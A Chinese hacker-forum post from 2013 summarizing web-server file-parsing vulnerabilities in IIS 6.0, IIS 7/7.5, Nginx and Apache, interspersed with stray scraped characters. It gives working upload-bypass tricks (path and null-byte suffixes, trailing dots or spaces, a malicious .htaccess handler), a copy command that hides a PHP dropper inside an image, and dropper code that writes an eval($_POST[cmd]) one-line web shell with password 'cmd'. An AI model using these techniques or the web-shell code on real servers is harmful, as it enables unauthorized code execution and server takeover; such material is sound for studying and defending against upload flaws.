找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2848|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
7 `8 S: `2 L5 T[+]IIS6.0
- D  v& ?& A0 j: A$ e" J 6 [  c/ N5 S% d8 e4 S! w* ]
目录解析:/xx.asp/xx.jpg : s! ^2 L' y/ W/ s- F
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码, R) N) w# u$ g$ z3 J3 i) ?9 c" R4 v
IIS6.0 会将 xx.jpg 解析为 asp 文件。
' N$ J$ i. ?* a+ A1 v后缀解析:/xx.asp;.jpg     : C9 e( m0 _: O0 f( z
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。+ {% y: W& \: @1 i
默认解析:/xx.asa: h# R& E+ B. h8 S+ ]( @
         /xx.cer; w! G9 w/ i/ @- E$ p* E
         /xx.cdx1 U6 ^5 ~) U6 s# t0 N
IIS6.0 默认的可执行文件除了 asp 还包含这三种: S' Y7 Q7 N5 A" n( ^) y
此处可联系利用目录解析漏洞
$ N1 t3 T# M9 `, c$ j* @+ w/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg$ {; n/ v5 _, m# D# c
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
; _$ M8 N% P8 V8 `+ v  R0 v
+ @2 {* i5 x6 K, x& k+ x2 d IIS 7.0/IIS 7.5/Nginx <0.8.03
0 e9 }' U; K' d$ h/ }5 a 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面: M$ w8 J, }5 E
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
+ m$ l* Q5 A% ^7 N/ y7 ^& T1 P 常用利用方法:7 W! n% w& ~4 B6 h( M- t$ `
将一张图和一个写入后门代码的文本文件合并将恶意文本
. o" V  c7 x* e- s 写入图片的二进制代码之后,避免破坏图片文件头和尾
; @8 J( H0 v- e% Y+ c 如:
; t6 {" _% ^1 N1 J copy xx.jpg /b + yy.txt/a xy.jpg
; i* r0 ?* J# X* y1 b #########################################################1 F9 ^1 h; N! z
/b 即二进制[binary]模式
- q& B. _+ O4 [- m& p5 F: l' _ /a 即ascii模式  j# l* h, s9 [: S9 h2 [
xx.jpg 正常图片文件: }) p  E+ ~" I" d& o' c
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
# V1 \# h7 q7 N; i9 r6 c/ i" O '<?php eval($_POST[cmd])?>');?>- t6 J) v, `* y: y9 j0 k
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称9 H0 ^: O) A/ `+ f5 T6 r& {* y
为shell.php的文件
) Z1 C2 U/ w/ L$ K ###########################################################4 D* z9 n* c0 ]% T4 R6 s- m- s
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 3 c  ]# P9 q8 _9 _
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
6 R! b$ ?1 y) \0 Q 密码 cmd
& M( G8 ]7 H6 L! B/ ~8 q0 f* ~+ ][+]Nginx <0.8.036 V- {5 S2 s0 j  A/ J

# h& g0 [3 b2 U( o* c% B 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞8 O) n5 b+ Y4 D8 ]9 l4 x
在一个文件路径(/xx.jpg)后面加上%00.php1 K$ L) e! k4 y8 [% M0 e2 e# x
会将 /xx.jpg%00.php 解析为 php 文件。/ [# Z% S) b; H3 P( l8 r
[+]Apache<0.8.03% e' l8 u0 a) L! V5 J# m8 O! D  e& Y
) C" x( w/ _0 _  n( A) Z% [
后缀解析:test.php.x1.x2.x3
) g8 g+ n2 }2 ?  [( N( \3 j Apache将从右至左开始判断后缀,若x3非可识别后缀,
; Y& H! {2 E# k' B" b 再判断x2,直到找到可识别后缀为止,然后将该可识别
& F$ H7 z8 y  a: r: A  Y 后缀进解析test.php.x1.x2.x3 则会被解析为php2 ?; N1 x% Q2 _# }7 a& d/ \6 @
经验之谈:php|php3|phtml 多可被Apache解析。
* x3 U: Z" @4 h: ~- ^[+]其他一些可利用的
: I, f% c& b: l " y  m: D) z- h" J5 G
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的3 Z- o0 Z5 d# o
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
" `3 _6 P7 f# R在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
: R$ L/ @! d1 a/ N. }- Q  v或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
" K( u4 s2 ?. {' e; H" e2 g( ?$ B得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
1 l' k$ y- i, ^& r+ S{Linux主机中不行,Linux允许这类文件存在}1 V' A( N" Z7 N& P: l4 _
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说9 Q" C& A4 f. i! ^0 H/ Z
的,当初我并不知道),且可以被上传,那可以尝试在
  k7 k) {% ~" P& O0 X1 ?8 Z: `( Z.htaccess中写入:' W) J" a$ n5 }$ F1 d
<FilesMatch “shell.jpg”> 2 p0 E' ~5 d4 |! ]
SetHandler application/x-httpd-php # T0 Q) U' U; y( G! U- P, _# n; v
</FilesMatch>
4 \! \. f( k  mshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件" u/ m7 Z( l' C
[+]错误修改! N- H8 {& H8 {' w3 k* c
. G/ i8 N1 u! e/ E; U" C9 @3 z6 b
在 IIS 6.0 下可解析 /xx.asp:.jpg
* ^$ X7 ?. k+ j% z. D8 }{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去3 W' U$ [0 d" O' G4 D5 B( x3 I
剩下/xx.asp}修改:
* `+ Y; G( M) [: r先谢谢核攻击的提醒
2 }2 V6 n/ U2 O$ c! N& v当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
3 r9 X4 V1 G$ r里是没有任何内容的,因为。。不好解释 大家自己看5 C- k$ R0 B8 C5 S4 {$ x  B
http://lcx.cc/?i=2448( _* Q; z# @7 [' k5 g( V; A% A% E
http://baike.baidu.com/view/3619593.htm
- q" H! a3 y: f( ?* F/ K
2 m, Q. _! B' I7 z  I: y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表